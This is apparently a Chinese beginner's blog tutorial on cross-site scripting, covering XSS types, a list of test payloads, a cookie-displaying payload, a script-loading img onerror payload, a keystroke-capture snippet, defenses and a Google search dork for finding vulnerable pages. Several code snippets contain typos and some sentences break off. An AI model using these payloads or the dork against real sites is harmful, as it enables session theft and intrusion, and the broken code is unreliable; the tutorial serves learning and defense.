XSS是什么?小白如何快速入门back

发布于 2021-01-27  161 次阅读  共 1306 字


一、XSS介绍

XSS攻击,通常指黑客通过“HTML注入”篡改网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的钓鱼/传播恶意代码等行为。

二、XSS的分类

1)反射型XSS 反射型XSS是指通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,带有恶意代码参数被HTML解(服务器中没有这样的页面和内容)。

 

2)储存型XSS 储存型XSS也被叫做持久型XSS,,它的特点是持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方

 

3)DOM型XSS 实际上,这种类型的XSS并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型XSS。单独划分出来,是因为DOM Based XSS的形成原因比较特别,发现它的安全专家专门提出了这种类型的XSS。这种利用也需要受害者点击链接来触发,

三、XSS利用框架

四、XSS常用的插入PAYLOAD

测试payload:

<script>alert('xss')</script>

“><script>alert('xss')</script>

<img src=0 onerror=alert(1) >

 

弹出网站Cookie:

<script>alert(document.cookie)</script>

<img src-0 onerror=alert(document.cookie)>

<img src=xonerror=appendChild(createElement('script')).src='js_url' />

 

监听键盘onkeydown事件:

document.onkeydown=funciont(e){

if(!e)e=window.event;

try(hijack();)catch(ex){}

}

 

JavaScript 键盘记录器还可以捕获用户按下的特定键,在 IE浏览器中可以使用如下代码实现:

<script>

function keyDown(){

var keycode = event.keyCode;

var realkey = String.fromCharCode(event.keyCode);

alert("按键码: " + keycode + " 字符: " + realkey);

}

document.onkeydown = keyDown;

</scrip>

五、XSS的防御

1) HttpOnly浏览器禁止页面的JS访问带有HttpOnly属性的Cookie。

 

2)输入检查 XSS Filter 对输入内容做格式检查,类似“白名单”,可以让一些基于特殊字符的攻击失效。在客户

 

3)输出检查 在变量输出到html页面时,可以使用编码或转义的方式来防御XSS攻击 HtmlEn-

 

code:将字符转成HTMLEntities,对应的标准是ISO-8859-1。

 

4)XSS的本质是“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新

 

5)XSS漏洞挖掘技巧

XSS Platform

地址中存在百分号的URL和汉字的URL中大部分都会存在XSS漏洞。

利用谷歌搜索XSS漏洞:inurl:'Product.asp?BigClassName